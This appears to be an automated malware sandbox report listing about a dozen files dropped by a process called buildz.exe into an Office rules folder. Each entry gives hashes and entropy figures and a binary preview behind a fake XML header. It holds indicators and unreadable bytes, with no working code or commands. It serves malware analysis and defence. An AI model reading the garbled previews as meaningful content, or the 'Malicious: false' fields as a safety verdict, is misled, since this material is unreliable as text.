&.p...R.E...(#KE.."v.'.B.?.4.....g.&......C..p2.u..y...-..J.5..?).=....Jwb~c..................4.V?e..u..ZL8.....Ea.Oa..)...?.~.,.3.SQ.`.....3@i&[J.:.....0.:uXK...9.yC.Ab..Mj.....`....]..cI..o.....~..mW>A.KO.4p......<.X.66..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240008v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	7.811201344561754
Encrypted:	false
SSDEEP:	24:BnW0x8/zV07vr4LbrTVjTVjx9I4CYQ1Aw3GHybD:BnHx8/m7vrarTZTNf7Q6AD
MD5:	761F818C52DFFF5D9383CF91BC02C231
SHA1:	857127BBF418BE76EAFD780E5A13909C22940B32
SHA-256:	6B9DB4673B83B156E62DB797FDFB4D83D0400F9A67286D5DECFC72BD4C6C3379
SHA-512:	AF84B8FF3F39BAC94F9C09A1C17AF2562DCAE5B64FB148458D1698219D271C42154F34C7D2153919529707D9B10413E8BE1B123B42AC2B692FB5877149835A6B
Malicious:	false
Reputation:	unknown
Preview:	<?xmlw.r......e&...7].......{.M.I5..[P..&L...?[....9...H...2.Y.u......:..._yOb......4vm)z.\..5.mG8^Y..x..Q5nX.@c....I.)).. ..wT..@.".JJ............<....".!.c)Q.H....Ar......>....!.b..U....+..-".i....,..]L....j..>9.a...%S.'...R.-.6..+b..8.M.....W[.&Bo:....k[...}.JH.3y:1._m."...U..v.of....>.....$..J.....\x.t.U.#...R.^...n...Rhc.2W.p..F'..7.\..z.......1..x..\\25Q.K..{.#.........)..-v .3.....XksG...{Z.3..f.Ky%......`...G).j!_...N.5G.=.vN.....1...............P.._.Wl....@'.!k....yu/$!r.0.3....aU@.........:.!....R<.r.m...P...X>g.t....jy...<......TL.L.......R...._......_!....H.......+,/..a..%..fp.....V.2\|%7...2...K....p.,U...?&R.9.X.\..C.6.1Xi..G.".. .~.8.......$....T.l.....AXa.$.....{.G.........B.Hc..BMUwT.....}N..88...6\|.B..C>.Lt...3./..\|)....+....Bg..V........>.@Y....#..;..<3......&.h."..,...G.....Gk.. >P..h.&.........,..y..%.-4{}...a.........ZEb.4..r....6...=..V..Q...6e...oB....o...m.!..\|.;...#....o4@...K..E.-.P.\c.v[.e..}b.\|I.[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240009v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.738888826339561
Encrypted:	false
SSDEEP:	12:Gwwo9vo3DAuk0J9xUKNkBUZEpTrniMhB3Gu1RqfVQOEFp0m1+cii9a:GwwKvo0u7J9xUlTp7iMGoqfKVFSdbD
MD5:	57F0B2EC1001529B23BB965A51136948
SHA1:	92BF08F2F982F824FB2D7A31425D2A056BC57916
SHA-256:	265AE936BA281ABAD349754533C7DAD8C52E596A8628D5B13F86A90CDA2D9D1D
SHA-512:	C67A3BD93821B9E61996D480D5C78BA764029E18D269189186E1AF29D249DE720D03C91EEBCD93BCDB87D4FFA6FDC6198DF3BA5D3C258DEC93DD427DC1E6C4B2
Malicious:	false
Reputation:	unknown
Preview:	<?xmlX..~.....J`Hu.<.UN.%Fw.m.V.r$.....#..q.V.cn...s..lIW....]H..R....g.. ..Q....t.,LS.!.8m.....H..,m.....Bu.1..\|`iZ..O.ib.o....:S..E..n..^(.....-.j.};..w....P.Y..).A..:.j.=....np9.........j..;.X.UumP/..0}....i..j...i.......H..aD;.e..8ExB.R....K...}M.h...O_W...I..H...^....$o,.ra....E.....!gk.\N..T..^.....7~......f}~nl.HS$......K.r.S..........O._.......{S.XV6....+.u...>6..m.E.Sl...W..o7.H<.....g;wak.1..vg.2.(....?.at`l...2r@i..\...J....d'Lp\.."..cn~W....rbK.%.j..L_}...}_]EB.._u1.....Rf..../<....[.d..d..9..<.L..B.x...4..9p..}.f.`)X.X.P .....e....da.bo1..$..v.........b_..*.. ..?...[....}__....Z.`[/.v....k.'.."......1.f8..C.T..E..M.[........8).F......Y...'........]...ls..()....%.F..v..!.B..^.X..x..p.\|\?..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240010v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1006
Entropy (8bit):	7.805901627678724
Encrypted:	false
SSDEEP:	24:lh0FmOoczo9Y2YwU8YfMq7GaG1iqdwt3efM+s8bD:bMkEH8YUqvWiqdwpefD
MD5:	FF856578B2C096385BB795E0B9A9799B
SHA1:	AB15B200A12B5483E4B53FE54E6C2B120C028A14
SHA-256:	7019B61C48B90A8D29491D77378BE583D2304B79F4ACDA987CD1D57027542C62
SHA-512:	83461DFCF570A1B87E129BCF2EBA7717C3C0901EEF99CF7AE54825B61D1DF822253BF5ABA9FEDFE94937A0E4A35C78629B0831073712023E20D1F2DD142DD619
Malicious:	false
Reputation:	unknown
Preview:	<?xml..F....N.;..$._.F..Pf......cP...S.9.2E<.>./..d....#MO%...$...hl.]~~.#.M.^%l_.G...S..>.....a.a~QH...<..V...!.!...8.. sW2..[h...vT....R..,L.!(.[L.A.$k."....[.\|..........Tl`.FA{........g.T.. ....i..Y%.5[..Ux..\....W.....Yr....Ge..u.......7...{..d..D_...X....n...W.R8.8.Sx...q.WO..u...Deo"..F..,(.........U.V......._e.k.O..l.6..Uv7.y.N......H..8..2......s......./z..:...?mv.......@-\|..u2...,..S.&..hc.'f3....#.l...}j..X.F[(H......W05\...]........(.,@...r...C.v..}d..U2.../..r.....3......."b.9T.....T.2.<.z9&O..h..,h...e......M.70.1...Q.'...0.r2.1q{.P:l..R..wW..ky.]....OO..^L........ ...X/Y..t.;.;....Y.K.\|vT"U.D0...-..W.(.......]...CWLQ.#Ad....N...X...LH...]..t.g.\.}..M3.`&a{[.O.........*.m...-K.0..2m.iB.....lba....8.6":.!...n...X..CsY.?..M/T%.G-r...yt...@q.2z.b..u.H=^...SM...?B...a~4q.!.).;:..kr..\..".O.......5...a.Yf..U.g.p..4G.N.Q.O-...n.k..-..k\|.4W.xUC.Z-..,.I.P8SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240012v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1022
Entropy (8bit):	7.820751383641288
Encrypted:	false
SSDEEP:	24:2sxq1iiNf33cvUIAEFFdXJPe/npvbyfC9druCFMldjjWsbD:2gqxNf33IvjpgNgC9HFMldjymD
MD5:	6B1CD96E529FE8E89FA561F7E17F2123
SHA1:	D65C201449E8FE080C0F736B4738A48D57A4FA78
SHA-256:	2710783AA464732C2F50CE3F1B079D14C097A6D3439AB8F1F79F47207381031B
SHA-512:	6E9110D981EA043403E278C7874A92FF3FD012977AEE32FCE8951F290F86209EC46154B6FFDE3FB8D5D5DE39D6172BF65E968C23028E112B744D8170300B5F9D
Malicious:	false
Reputation:	unknown
Preview:	<?xml7r...!.P=r...[.,....{..7..+..V.....,.r's....V...).!_...q...,..].;.h.]+........@%..cZ..r8..2)R..1....+3....D,k....a7....R.d...@..0...C.....o..M..0.o..D.A}...r....F...L.[..5}].`.M.2..J.I.wDX..F$.GY...............k0k......B#-O.[...A.b.4.Oz\|..h.Qz0]^..Y.Zh.r.'...^... .:.j...m.ww3&..#.-#8.#/.<.t.1....../.......m..?...G..\|f..f..6{..W.x....).e"......VF.$RhA.'...... ....e..y....V..S............`...=.i..'j..5...d.7.?.........i...?X#..-""7-.....S]x0.W.........p9../.^.......h.\Jq...h.tu+:.B.:.w./...UX....../..K7.eqe.K...L."...g..{F../.".=.x./.X..@...@x.%z.qzTSf5..^q[.....~...P.j..g....<v...'.z.D.g.lB..Z..4s....q.Bk...m.M...%..4......X.b..w.@W%...]..J.=.........5Q...+..0.=..)..IP.........2..A....Nht.".-K.........).@.P0.0.o..7C.I.g......7".,4.+...+..8.v}..~...g.H[..J.{..s..h......hs].9EH.l.t...u....:n{t7...=AZW..lc3..i.Z.\X.....t..N../n.R..S.7.H..../.%....DU.P..N.}>k}H...\|S...JG*.C.....G.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240013v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.755201071848891
Encrypted:	false
SSDEEP:	24:Y8dezboZf8mpxyhlIqIhXyYHv7Kp/x3i2OSBsbD:Y8dvf8mDuIqIJy8q7OomD
MD5:	93711FA1C04A5683DFE9535A20C5711B
SHA1:	AA551313969E0824A27163C10DFCB13C8CF2EA7C
SHA-256:	2AA7FB9437A7783843CBCB434431FD190B2FD9EFFBC6C03A3528DE411D88ACDA
SHA-512:	EBBA26A2A79500BAC000EFF55152A24345200169BD75B69EBCB9CF7AC1B4451115D71B0602CE6FFC823A03A678FA2FE19F3F00AA12FFC692D8413FBFA3A421C9
Malicious:	false
Reputation:	unknown
Preview:	<?xmlr....zL...Bs.......L....(Z..~....Cw2Dv1..U....g.p/..S.0i...NR..r...LB.{M.....f'..s..d.o..l...$lse`xSm...8..0.l..h]..\|0.o(.s...v..y&...oZ.trH.A+.a.5..#........V.n.3~c.A...+.^..{.@..D.._..{.#..).S.+.IWP2..$..\..<q....)....@..J.[....\|Q..}..Jf..N..............cR&z....6..k.....R...6=.[...<.....B.#%..#!..#..%..0.d..$.U...R..~.hKD....:......4J.Z....t.....8U...s..\|.CcD\|.p..h3K.v..p.....@....&.].<$....mMDj.K..4\|..H...\.....F....T......}.....0^.(...n......[.}...rVj5K.6%.s7...M...9...P../.4......C.....B.>../..} .2.I.Q.....o.........\|...0T...F....n........g!.#......V..3."....*d..Y.......#.....(..`.\.V.\|.+;0.S..y.''..8=8..Yl[.x....-?>.h.....r...H5..W.N[..6a2.xx.d........;...u~..i@....D.s...'.S...N.Q..>.....zC..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240014v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.781276717753632
Encrypted:	false
SSDEEP:	12:R4CSOyoiW8QQ6y3V3zulL9WHPLxEH0aS7IGkPVb0OFd2vbSt4kqzcHV1+cii9a:uyNnhkolLEPL+z0OFd2vetbqzcHObD
MD5:	57B0F784EE205C12DC7B7FADD85BB1F1
SHA1:	59BE70D9F5F96F03804A92B88301AFF18DF9F69F
SHA-256:	C786279CF33A7739BA860776DD85AE1D2302D1457DC42C82219E74F183E8C2A8
SHA-512:	CB407695A96AA9AAFDBFFB01C600A88772D36EC689243799976CB63F9750433265D5DF3CD852AD3DDE6BAF5589606F7D1C8F955FAE0C394DE7AF50E94E2B8EDD
Malicious:	false
Reputation:	unknown
Preview:	<?xmlW}..`y]..r....Q...-..#cCS.9vDL>. .%...._..............3z.x.....S..ag...%.6...z.(..e..g...K..w.Ee...GL....%.`.<..R.X.]....KU AJ......p...N.......Iv-....H....J.m._...N......u......b.<....s..n......7P~...f(<.AZ..A&.}.....bc\|..........L.1..P...ML+V.n\..@...4..:.C.N..:.4M#..B0../.].2M.'..U.....x.In.]2....[x..@<.-......_A..{.J.Q..&..Bx...6...L...l+Eq0..b....n...........d..&....i.n!...&...w\|.h.X.".?....{....v.~......0..d...E..S..8\e.6.>.l....&.k5cv:.'9....`v.....=.~....H.~.K;..RR....tol[0O...&NU...Y.0...mw.7.F.$...J..~l.^Z....b..Y....\|..J....y.A...N.S...K.r...G.F.........rq..g.>..w.lH.......S<.,a.[W..#..u... .!.'Q...\@.L...]8....o.g..{."1L=..{...!....T..L.^`2.....d...7.X.]..bO.,...\|G...{.)J_...)X{sYU8.5.S..c..l.4SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240015v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	7.7034826361284665
Encrypted:	false
SSDEEP:	12:Ek7AK15MDU0E9+n/nbQy1J24d8pajsq6SVJUyvnQKz+RQGSpr/VwPKNybSbM1+cq:nxyUwbl+4d8cj8k+yvQKzmQGS5CPKNy2
MD5:	D718C5244DC364D7FA0B5C159CCBD34A
SHA1:	7C353AC643900E791AB38FEF683B57B7B6CC5862
SHA-256:	821B08E664068BDB43E4D61B155EBF7190C3BD5DE90CD88779FAA5EA9C4A0C16
SHA-512:	460E62BE219974075AE7DB748242F7FC233D60BF48245D47C11B9D3EEF4C6085A2A73B81466E43B954F353E8A2C5234924558E4751978C91B4D26B439B26F391
Malicious:	false
Reputation:	unknown
Preview:	<?xml..W..<&..6..>...,..&...TV.....y.K."X[..j...?%T._....D]..".3........U.Sv.D...F....h..F.'...>{...E6R..^./.rh-n..QJ.Z.>._..].!..0......\|ay....8.%...x...h..?\/N+e.3...[J..>>`j......os..0;..y .x.I.qU.v{.YP.'y._.zz^.[...1.].....2..g......XdY...ehp....mm<...[.5...-.>d...1*..xY......4ys..T}.[e...v..K%L..,.F!..a..y._%j"...k.&#.O.$..,..n.I.m._w..e!....Y2.!.A.5%...E.... }....(H..T.p.....1o:6..S[.v`F..,......(...M>.e.`.O~..........=..).g....&,........L..m.nt....C..[a..\|.-#7..8>-...$.w.w.+...U.....w....8[.1.h2..vG.m./6d..<3F....P?.......~W.Q/...~.7............}_6..2V..e.../.......Y..B../pu...DA..J...Cf.p5v...G...Z,..O.....8.X<...#:..0... YYE..t9X}u...".SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240016v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	852
Entropy (8bit):	7.750201043251929
Encrypted:	false
SSDEEP:	24:jA4yOhzFCAdbRMmRkPK7y3v1H0deJxnABgbD:y05CwVMmNyf10Wq8D
MD5:	8D6D000B5D755FECB3E666E821767711
SHA1:	11936B2230C62D5C203D5D32B92310C95A418368
SHA-256:	560BBAF214123D8C457879C22B0C236193506E78DD8FDE62C0BE1C7DC7FF2500
SHA-512:	A050DD5D9CC59D4763190193767548A6E382C6F07D0A70B4B203F11040F5868D10C346183F527D3181EE74D2D1E29D02ABCC34B0518C9364E9781CD8D2251691
Malicious:	false
Reputation:	unknown
Preview:	<?xml...`1.Q.>.P4..C?..l:..s..s..2.'>.>.../..@1c..<TQ....[.5.qi.22..M.u...ng.}E.].T.4.Rq.f....).L.Wj.3.,...-&.O.....l`e%\|\|.$..h....W.`.Yg.Ticj!kjg.D.M.m.D..)`............M@R..3..M.0.....!.w..e..[%.%..b...U..$.5...{<o.....pL.L...q8..6..wwnY...k.M...U5l$...Sio".!...C.^.aL...4}\.m....4C..Z..n.G.......p....kt..~.L..O>r2,...{.TPpa&!....?.MS...f..a...G4Aj.W...BihA....\|\|\|..B.o..Ywg..@..[...EZ..._.. ..U].0....l...L....5(.6...8..a\|V..g........\u..y)7X.u...K...~.......`.<~.E...."hm.TK.Yz.m../8.6........U...].^dY...c.>..\......u.N)UuH..+.\.1..m.P.w.E..-<EA.N...r..g......!.8B.H....".U..dm.........ds3.LL....J.Z>i.......4g.C.........d...9...H...N...J....rE.?.?.A...;Q(]....$..f.....<#}.P..Yp.fW...`.?nK.....E.R).Uc....)...u....q...+5.[.dY..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240018v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	971
Entropy (8bit):	7.772858985938814
Encrypted:	false
SSDEEP:	24:8AwsCShGkS9mOJcPZ2D2lumye/DgNwoK0K/rbD:8faUkXw08D6u4pomPD
MD5:	A3CC05EEB5DF0F48B547D2C93E124F05
SHA1:	A4CA41D05A2B869A6263A1473C98E2CFF6F04410
SHA-256:	A3EAB3AE97AD2832831F31E722D4C2F4E2767C59D1F65DA90D8259F6AADF04BD
SHA-512:	069F27E4959910CB7871D499E6ADF55A6FEFF5155DA2A1B41D4101C8E0674BE4E802A450CC340F10D54747EA1A23461B671AF340DD8FAAE17452DD6AB24DB453
Malicious:	false
Reputation:	unknown
Preview:	<?xmld...^m.Sg:^.5...#]...%H.tO:,..!C............vo.."...........~...t.Q.O EJ...pIH..SH.f....\|....%5.w=u...[.......3,%...J..u.L.,.Uh.y.7.......G..6&+.w.D5.%Q.eU.5g.......B~....!..+H^....v..,..{..q...C\.^...._.^sy%.t..y...z.H.L..w..7Wg..bR..5j.T..b..dB...=.qE..."z..?,.JG".%..&.@.......".}...!..F...6...b....+QL)....:.V.=E.~..pTq>U~...5@.u.xS...Z..........H..Z..J.]XN..$N...5=.....VW...p..S-A...N".!>.b=(fK.6..7......\..lU....\|.........p...I]....E-n\...Z....P.%...@.ct.7....C.V.'..eq...2nD.(BI%V.b..PA.+.. 'K4P;O..^....DFy~!..2.T....b..p.....2..<h(.g..J[.MQ...i/..i.jxrj..5....]7.....2..aT..Y.).T..a...F.{....Vl...+m...@..........t:.....q._D...Jd.z.?.\....0w9YjxU..].\|....y&......j..w...B..E...z..w..4..b......a....z.."x...3."D.7...JU[@.PeV.....H.:..^..}.1/8s%X.D..k..oPo.a$......:.u..g..N.Qn....cW..3eX...}..Q.V...}(l...e.(.z..."3.d...(......uSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240020v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.8002793546221145
Encrypted:	false
SSDEEP:	24:oFCCWMU8rWSVNPSVBlzLVJ6lPJBjeQAc6jzwQbD:GCCWMU8CSHGzhJ6lxheQA4KD
MD5:	D075EEB331CFCE0BD35ECECE3D728048
SHA1:	AB6BEF0BD237942D4BD5E45DBD247AE280FD19EB
SHA-256:	2A40E545EC6E2FD89757856F4C58E726236E8BDF9EC19C7FC74B42FEE293A719
SHA-512:	06D075CF4F9CCC1DC6DBA46DEB7F62BCB35364E183984DE27EB2CEC52902DE2AADD9D8ECA039F6AD08E35170A1C4271AE6106EECA16EFF386F5CD7A4636EE4A5
Malicious:	false
Reputation:	unknown
Preview:	<?xmlp......gl...T...w.%qv.o.~..T.Ql...2......c....#.o..dU.y.A...M.4...hM.yC...m..5.[.\Sp.....5.a......?.K.#.........M..3n..i_.........../$......v. 9.....'. ...m.3....(..z..5. .UCz\|..."o.K..e..3.&v8bG.nk...?.4.....>L.9X."@......w.I.ZH +(.......[.M..y...u1).~..}.0...$..N.....4..~.p.........%4.s...w...4.g.......gx..Q.,.......`Vd..L..V.<...24.@.m'...$.7vR...U.......W7...(d..%5KW....Yt..L.....e....W..`e.f.o.iM=..0.xi...$.A......L..,.@....\|.uu.......=~......Dz...I_.ke....rNe..`.4Q.t.......F.........z.A.<.`.8..3.3...J.....?.r...qS8"..q>#m...Bi..........Z..F..a.<..Qj..Z..K..(m=.A.....;T.HI==2.%.lv.q..;\..G.nX..6.(..,P.B.>..p.z....5#.Y.s....J.....Vg...o.(..!.S'.......P.1L.!.....b9..X....q.H5W..Do.\s2+c..j.@......M....B...w!...@...K.%..V%7....!si}...;.8.5..(.DW#...aS]H>....t.1..~b./.~.t....L...Y.r\KI@Tb.M...F.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240021v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.798572090618372
Encrypted:	false
SSDEEP:	24:cnyNsNHNhUoUAhmFVHjvnihZCes0lJk8ObD:cy+NHNhfhKDahZCes0jsD
MD5:	81E7F005F6E32740E6D45A5FB2D6DAE9
SHA1:	191883FAF6AB944E24A4A9219DD71286ED47CA71
SHA-256:	60D12633131ADA642B2CEAA52853DC47342432CC65EB144171418D34BAD312ED
SHA-512:	1C4F38D530359739CA7524D7BAC0D3973737DFB7D66857A08BC2AE3AB3241A34D0BB75C6D4522AF582E06404F5C8D0D01301B288EA6F7C3A2617BE9E2DE58FD5
Malicious:	false
Reputation:	unknown
Preview:	<?xml..(......z...7.A.y.....;.5...y%'..1..nS..J.U..UX.$}.6q...E.E.xp...(....W..:.\|..{G...w..Ek\.....df..Z{.8..`$p.....r.`sB.:.t]Gz.....Ub....S..'F...5..d....'..V.~..-..NF..p.A....hOi...%..c-..y.&%AN+@..W..G.._ .,I.}.(....^...?;h.....Hnmp...V56j..,..W...#..C.P.E.0....g.....`...Kqv..p..i.K.X.jbh....'.'.B..;-...N.y.Y.IZ...HHpk....%..V...L...T.....<..I...Y.}].........._....[..f..}.m%.....n..8."..........T.L.1hSy....t..h?d....qP............&.=.........H...s.W..:d....M..hN.;i.Z..{..9.SgJ..#m.......&`5........S..i^.)...i.m..$".s.g.\|.%"....~(W.Dh......v........Wb;p...nU..&0.Cm.`...94c.ee.bn.....r..g.+.........@....5...?$x....,.e....0.=.j...a>\|.......$E...0..S..^,h..C..2.c..N0.oy.}.;U........ ..\..t.{.s.N.,...]^.-.@....X.IU.Q....SK]3R!....[.:..1....> .B.......U..q......RZ.....F...#.:..DU...`k.'....O.Q.....yV..}.DLo...N..y..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240025v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.8832623280381044
Encrypted:	false
SSDEEP:	24:mU2tTg3EaUSMh2Qtvq5QHzJ2x0iW6xcW38KVbaA4JomKMECtUfAVUMvI4XAbD:+Zg3EQ50CQox0l6xHvRmbmXB4qD
MD5:	3C5A7B3DF75313E948CF9FAFCCE486BF
SHA1:	FD1177707D4B43064EE988DBF5089A07F5A99425
SHA-256:	565FC80593A51DE38566DB65C9E399D45192F3DA1CD5744C2C71AD56755990FD
SHA-512:	FB293CF745F2AF485FCB2B6AABA2A756F9C288AE256C0508DB994D3478CEF1265CA1462AF7739DDFE417DA5A78712F82E236B2431602835AEDE13C0B77A8836C
Malicious:	false
Reputation:	unknown
Preview:	<?xml.$....(<?..?..oz.G...T.....J.xGv/9~.>QgMEy>.......p:...u.WCt.$..l......D,........@..:..c....H...";....JV.Q.b...2sb..........g..)..).Y.}!...)..."...T.....<R...P.q.d.v.x..Bg&..]=O.?.......%c.42X........nN....[.;.k..c.\|..I8..U.=nE#J.....;.......D....\|EQ.H7....j...!.ON......jD8S.A..".5..L...Wu.'%.y.z.u.x...N.T.8K>fs......C).Y1...J..%..'..m...q...g...o.....$iv..L.......1...img..&..q...#.(...+..@./I...g..&.c..ma9.(l.-.%..l...1E.d.W.M.."-.\_3.H.\|L..3..s....6Ivf.........+.V.X3&..?.^o.\|....!.7.=...I...m2..q2.D...63...HTx.7..Y....nQmXWX..J(...Rh.3.$.@........f....;.tk..O.G0.....3...2.;...,.P.dV.......E..0...../+..K.........y.n$Bt..u'..Q\]...b.~.u...=^K,...^rc.\ ....`.4...b....B.g(.P?:.#IE........[.4.I?...E..i\.<V{.......b.qn.....n...1.^.U.(E@J...7...WGF.;.G.`:....@...@f.>Q.l&..z..?.l..Y....l..........f..%v..Ii.*....id.1....I....TK.k..AQ.:.)u..O .q...d....z....G`.[e6.0...V.~Qv1.3M9.z...h...S.......T.r..A...Q..GTn....-N. ..b..W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240026v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	7026
Entropy (8bit):	7.976082500118795
Encrypted:	false
SSDEEP:	192:+VDbRjnfXq3IUcj+JnYHt4xb+vqK3VNZ+RVY8Y:AF/q3Ilj+RYHY+yyDZ+nY8Y
MD5:	1CABAE5760F9094E8408EB862664D236
SHA1:	89B3924954E77DFAA029DDCE158F762411450AD9
SHA-256:	F9023086E5E5E9902FE154AC1B0A50AED9A14D6E5592B770B0DF7794AC54EEEC
SHA-512:	D636EC44AC35AEF9995F031056C5C822C121D657006BD01F8E4D535F170F9A76EED78449F0FECDF988C1F74AACC6B269EDAD704C6BD4AEDA394F20F633341A8F
Malicious:	false
Reputation:	unknown
Preview:	<?xmlosa...Q.....i.."...`.`X.:m..$eu)Z...H..34.....I...._..$&..,.5..`...Y..v.=N..4..:..0...."....TT......9!2..,...u..Y.$..C.3..;..m.../..;.....U...C..g...1%1[.A.TP^............+/.....p.qYE...xn.w...........u^E.3'..W(F..c[.eF.).U .7.....$D.1... .....+.,.q...a......;ez.kB........CV. .../..y...yRC. .v15.._.y^1..@.n[...j.lZ.....4.........wh..7..O.....7..]..=...B..{..Qv.......en.Z.#.l..G..(.9..B<.y...!8F..`..M`p.$e.'D#q........gcvRs..&j....4sJSc...B.^.....(..u...l#..l.Q2.:.....7..m.vMl..L....v...w..(..k...0.+.l...&.^.....>,K..T...e...:..i?F........O).2Wc8.c...E:,..S......R..Rr.oOX...#.\|.pf....=.=...t!._..R9.t...r.?..~CT.J...>..m.s$..8....~..R+Y_1.gl?.rV?.Ss.S......{....k.Jw..,.E?WU.2.p@..HeS...D......Y4)..[...%..G...0.a.kb.....;_Z......n.9=.w...b..;.K".....P..Kgo..A....stu.{...I.5...B..l-\|.m.....2 ..M.W.kO.=C^..f.Jr....\|c>..T.28.C.`H...Q6....j...h.7.Cr.I[y..../;A.J.W.......0Vm..H..j..<.c.a..[.,.....Mo_...j.~...%.H5E.a_..N`....%^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240029v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.718300605705263
Encrypted:	false
SSDEEP:	12:SGGH9x4s8ToX/GPgufextbINQgN9/DSrZAlAc87B+kGs7cmFPEZ/N1+cii9a:SG0go+Pg/zbeD1uT7B+k7cmdu/GbD
MD5:	F93821956A7F6E2F5A5B773D48852C35
SHA1:	FF8B8A1742EE7D2C6C8FDD36F4B1A489472C1A45
SHA-256:	91F24836FE8DE7B699E7EB439906051B2A291E464DB15B1FD5AFF368B5F6C0FA
SHA-512:	2592D54253CCE41329C270107C109CB23CE2CBF58A40F3A71808823179A091D6E0C4832105DE7E609A5C4C24C534AA1409039A06EF9109C533C57A76EAE8819A
Malicious:	false
Reputation:	unknown
Preview:	<?xmlwh.@..x...3E.W.....(FV.65...v..zf._/.^4K...k6J...&.^q..i..O.....Z ..S.Z3.j..8.D.]...ZGW..0....9.....W.aV..g$1."..\|._.)..Dji;;...c..(......D.d.Z..b..n}.9..!.......7...AKo:m.(.k^I;...Zy....5.!..4..X.#..m..8.Tx......z..t6):.%.H,..{.43,.:..>P....4(..zv..P....\...v..}7.3..Sn@h..6..De......i....H?...[.8..\|..j.....T.m&A..7#.....I...1EV.a..G.1..os\|. ....q.s..#OY......Pa.8..D....s".u..M..V.R..4..Bk.....V..D..F.(..tx...J..;.7W.k...V.....uL$W..4..S9...k....n..Y....},o..y.\|"[b....".X....XI -.\.w3'.._.b.....<.\|...9..3.V.E.E..D..).Nr......V.=}~..=.R..s..+{.H.$..u..@..3..tU...Z.+...a..........i'd..;...Gs...".$...0Nr.c.....'?..g......d/.E..RE..!.g;.../.0...2:.....s.G.....V(.E......~P>A...(.M..v30..aaY.f......PsF..ErNh.&p..n...q..X.8.Z..JSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240030v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.777428679259196
Encrypted:	false
SSDEEP:	24:PS8yojXDw1L4+rtdR/icYhnOOWkgVNiig9feBZjIbD:a8yX10Ui1ZxgVM5eZmD
MD5:	0B8EE51F8BEE5E4B8A8A0276A5947E73
SHA1:	D31D68AEAB98DCE5BE78455C5D506FEAC5C4DF9C
SHA-256:	FC2A562A053777C5D6A1BDB3ED18FF121079C61CA08336B25E9D54B2F1CC3957
